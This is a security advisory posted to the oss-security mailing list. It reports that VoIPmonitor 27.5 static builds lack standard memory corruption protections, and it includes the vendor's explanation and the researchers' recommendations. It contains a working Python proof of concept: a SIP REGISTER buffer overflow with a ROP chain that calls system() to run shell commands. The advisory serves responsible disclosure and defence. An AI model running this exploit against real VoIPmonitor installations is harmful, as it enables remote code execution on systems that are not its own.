[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] =?UTF-8?Q?ES2021-04:_VoIPmonitor_static_builds_are_compiled_without_any_?= =?UTF-8?Q?
From:       "Sandro Gauci" <sandro () enablesecurity ! com>
Date:       2021-03-15 12:50:26
Message-ID: e835517e-f199-4cae-a9cb-33c89a77c916 () www ! fastmail ! com
[Download RAW message or body]

# VoIPmonitor static builds are compiled without any standard memory corruption protection

- Fixed versions: N/A
- Enable Security Advisory: \
https://github.com/EnableSecurity/advisories/tree/master/ES2021-04-voipmonitor-staticbuild-memory-corruption-protection
                
- VoIPmonitor Security Advisory: none
- Tested vulnerable versions: 27.5
- Timeline:
    - Report date: 2021-02-10 & 2021-02-13
	- Enable Security advisory: 2021-03-15

## Description

The binaries available for download at <https://www.voipmonitor.org/download> are built without \
any memory corruption protection in place. The following is output from the tool \
`hardening-check`:

```
hardening-check voipmonitor:
 Position Independent Executable: no, normal executable!
 Stack protected: no, not found!
 Fortify Source functions: unknown, no protectable libc functions used
 Read-only relocations: no, not found!
 Immediate binding: no, not found!
 Stack clash protection: unknown, no -fstack-clash-protection instructions found
 Control flow integrity: unknown, no -fcf-protection instructions found!
```

When stack protection together with Fortify Source and other protection mechanisms are in \
place, exploitation of memory corruption vulnerabilities normally results in a program crash \
instead of leading to remote code execution. Most modern compilation systems create executable \
binaries with these features built-in by default. When these features are not used, attackers \
may easily exploit memory corruption vulnerabilities, such as buffer overflows, to run \
arbitrary code. In this advisory we will demonstrate how a buffer overflow reported in a \
separate advisory, could be abused to run arbitrary code because of the lack of standard memory \
corruption protection in the static build releases of VoIPmonitor.

The vendor has explained that:

> we are not going to enable the protection in the static builds as the speed is critical on \
> many installations

> Our static build also uses tcmalloc (recommended version) which is required for high \
> packet/second processing as the libc allocator is not fast enough especially on NUMA systems. \
> For high packet/second traffic FORTIFY_SOURCE can introduce a lot of additional CPU cycles. \
> If using custom builds with FORTIFY_SOURCE - they should compare if the sniffer did not \
> introduced higher CPU usage.

While we understand the vendor's position, we are issuing an advisory to ensure that end users \
can make informed risk-based decisions.

## Impact

The lack of standard memory corruption protection mechanisms means that such vulnerabilities \
may lead to remote code execution.

## How to reproduce the issue

1. Execute the static build of VoIPmonitor (such as \
https://www.voipmonitor.org/current-stable-sniffer-static-64bit.tar.gz) 2. Start the live \
sniffer from the VOIPMonitor GUI or via the manager on port 5029 3. Execute the following \
Python program so that VOIPMonitor is able to capture the packet 4. Observe the payload being \
                executed by the `voipmonitor` process, i.e. the following:
    - current user is printed due to execution of the `whoami` command
    - `h4x0r was here` is also printed
    - a file has been created in `/tmp/woot`

```python
import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

payload_size=32607
# Pad with As
payload = b'A' * 703
payload_size-=len(payload)

# Write system payload
cmd=b'whoami;echo "h4x0r was here";touch /tmp/woot\x00'
payload+=cmd
payload_size-=len(cmd)

# Pad some more so that we can overwrite the save_packet_sql's function return address
payload += b'A' * payload_size

# Call a ROP gadged that increments the value of the RDI register, 
# which will now point to the value set by cmd
payload += struct.pack('<Q', 0x0000000000b222f1)

# Return to system() to execute the value in RDI
payload += struct.pack('<Q', 0xb22fd0)

# Return to exit() to exit gracefully
payload += struct.pack('<Q', 0xf60a20)

msg=b'REGISTER %s SIP/2.0\r\n' % (payload)
msg+=b'Via: SIP/2.0/UDP 192.168.1.132:35393;rport;branch=z9hG4bK-kwtTkrdNAO2Wvw0v\r\n'
msg+=b'Max-Forwards: 70\r\n'
msg+=b'From: <sip:85861710@demo.sipvicious.pro>;tag=mnq1nKGNZHNUkNOG\r\n'
msg+=b'To: <sip:85861710@demo.sipvicious.pro>\r\n'
msg+=b'Call-ID: 93X9dNZO2qdcfpdu\r\n'
msg+=b'CSeq: 1 REGISTER\r\n'
msg+=b'Contact: <sip:85861710@192.168.1.132:35393;transport=udp>\r\n'
msg+=b'Expires: 60\r\n'
msg+=b'Content-Length: 0\r\n'
msg+=b'\r\n'
s.sendto(msg, ('167.71.58.84', 5060))

```

## Solution and recommendations

Users who would like to have standard memory corruption protection for VoIPmonitor should \
compile the binaries themselves and apply their own upgrades rather than using the upgrade \
feature from the VoIPmonitor GUI / sensors page.

We recommended the following to the vendor:

> Our recommendation is that standard memory corruption protection be switched on by default in \
> the official binary build of VoIPmonitor. If there are specific requirements for specific \
> systems that require such features to be switched off, then additional binaries should be \
> offered, with adequate documentation of the risks involved.

> Do note that memory corruption vulnerabilities should also be addressed and fixed even if \
> security features, such as Fortify, are used.

## Acknowledgements

Enable Security would like to thank Martin Vit and the developers at VoIPmonitor for the very \
quick responses and explanations with regards to this security issue.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and \
provides quality penetration testing to help protect your real-time communications systems \
against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on \
currently available information. Use of the information constitutes acceptance for use in an AS \
IS condition. There are no warranties with regard to this information. Neither the author nor \
the publisher accepts any liability for any direct, indirect, or consequential loss or damage \
arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found \
at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.


--
 
    Sandro Gauci, CEO at Enable Security GmbH

    Register of Companies:       AG Charlottenburg HRB 173016 B
    Company HQ:                       Neuburger Straße 101 b, 94036 Passau, Germany
    PGP/Encrypted comms:       https://keybase.io/sandrogauci
    Our blog:                                https://www.rtcsec.com
    Other points of contact:       https://enablesecurity.com/#contact-us


[prev in list] [next in list] [prev in thread] [next in thread]